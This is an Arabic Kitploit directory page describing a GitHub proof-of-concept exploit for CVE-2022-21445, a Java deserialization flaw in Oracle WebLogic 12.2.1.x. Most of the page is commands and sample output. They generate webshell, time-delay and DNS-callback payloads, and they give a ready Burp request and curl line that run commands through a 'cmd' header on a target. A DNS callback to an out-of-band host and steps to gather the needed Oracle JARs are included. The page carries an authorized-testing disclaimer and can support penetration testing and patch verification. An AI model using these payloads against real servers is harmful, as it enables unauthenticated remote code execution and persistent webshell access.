Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-21445 — استغلال ثغرة CVE-2022-21445 في Oracle Weblogic 12.2.1.X | Kitploit
أدوات/GitHubGitHub/necr00/cve-2022-21445
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubnecr00/cve-2022-21445

CVE-2022-21445

استغلال ثغرة CVE-2022-21445 في Oracle Weblogic 12.2.1.X

عرض المستودع
51منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2022-21445 - إثبات المفهوم

تولّد هذه الأداة الحمولات الاستغلالية لثغرة CVE-2022-21445، وهي ثغرة حرجة في إلغاء تسلسل كائنات Java (Java deserialization) تؤثر على Oracle WebLogic Server 12.2.1.x عند تشغيل Oracle ADF Faces.

توجد الثغرة في مكوّن RemoteApplicationResourceLoader وتسمح للمهاجم بإرسال طلب HTTP GET مُصمَّم خصيصًا يؤدي إلى إلغاء تسلسل غير آمن. وقد يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة على الخادم المستهدف.

المتطلبات الأساسية

المتطلبالإصدارالغرض
Python3.6+تشغيل سكربت الاستغلال
JDK1.8 (8u202 موصى به)تجميع وتشغيل مولّد حمولة Java
Weblogic12.2.1.Xالإصدارات القابلة للاستغلال

دليل الإعداد

تثبيت JDK 1.8

يجب تجميع الحمولة باستخدام JDK 1.8 لتتوافق مع بيئة تشغيل Java على الخادم المستهدف.

root@kitploit:~
# Use SDKMAN:
sdk install java 8.0.402-tem

# Select the java 8
sudo update-alternatives --config java
root@kitploit:~
java -version    # Should show 1.8.x
javac -version   # Should show 1.8.x

الاستخدام

إنشاء حمولة Webshell

تنشئ حمولة تقرأ الأوامر من ترويسة HTTP cmd وتعيد المخرجات في نص الاستجابة.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell

المخرجات:

root@kitploit:~
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...

======================================================================
  PAYLOAD GENERATED SUCCESSFULLY
======================================================================

[*] Payload type: webshell
[*] Payload length: 2156 characters

──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...

──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close

──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"

إنشاء حمولة Sleep (الاختبار الأعمى)

للاستعلام الأعمى — يؤكد تنفيذ الأوامر إذا تأخرت الاستجابة.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10

أرسل الحمولة وقِس زمن الاستجابة:

  • ~10 ثوانٍ: تأكيد تنفيذ الأوامر
  • فوري (< 1 ثانية): الحمولة لا تُنفَّذ (عدم تطابق الإصدار، أو تمت الترقية، أو مشكلة في الترميز)

إنشاء حمولة استدعاء DNS (DNS Callback)

للتأكيد خارج النطاق (Out-of-Band) باستخدام Burp Collaborator أو ما شابه ذلك.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type dns \
    --dns-host cve-21445.abc123.oastify.com

تحديد الهدف

استخدم --target للحصول على مخرجات منسّقة بالمضيف ومسار السياق الصحيحين:

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --target http://10.0.0.50:8002/test

يقوم هذا بتنسيق طلب Burp وأمر curl بالمضيف والمسار الصحيحين:

root@kitploit:~
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami

حفظ الحمولة في ملف

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --output payload.txt

إرسال الاستغلال

استخدام Burp Suite

  1. شغّل السكربت لإنشاء الحمولة
  2. انسخ قسم BURP REPEATER REQUEST من المخرجات
  3. افتح Burp Suite ← Repeater ← الصق الطلب
  4. عيّن مضيف الهدف ومنفذه
  5. انقر زر Send
  6. بالنسبة لحمولة webshell: غيّر قيمة ترويسة cmd لتشغيل أوامر مختلفة صورة

استكشاف الأخطاء وإصلاحها

في حال وجود ملفات Jar تالفة، يرجى اتباع التعليمات لتثبيت إصدار Weblogic المطلوب واستخراج ملفات Jar ذات الصلة.

يستخرج هذا ملفات Oracle JAR المطلوبة من صورة Docker الرسمية لـ FMW Infrastructure.

root@kitploit:~
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3

# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)

# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar

ملاحظة: يتم تنزيل ملف javax.mail JAR (المطلوب لتشفير MIME base64) تلقائيًا من Maven Central عند أول تشغيل. لا يلزم إعداد يدوي. تستخدم حمولة webshell الانعكاس (reflection) الخالص ولا تحتاج إلى weblogic.jar في وقت الترجمة.


إخلاء المسؤولية

هذه الأداة مخصّصة لاختبار الاختراق المصرح به فقط. احصل دائمًا على إذن كتابي قبل اختبار أنظمة لا تملكها. المؤلفون غير مسؤولين عن أي إساءة استخدام. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.


المراجع

  • نشرة Oracle لتحديثات التصحيحات الحرجة - أبريل 2022
  • CVE-2022-21445 - NVD
  • hienkiet/CVE-2022-21445-for-12.2.1.3.0-Weblogic
تنزيل الأداة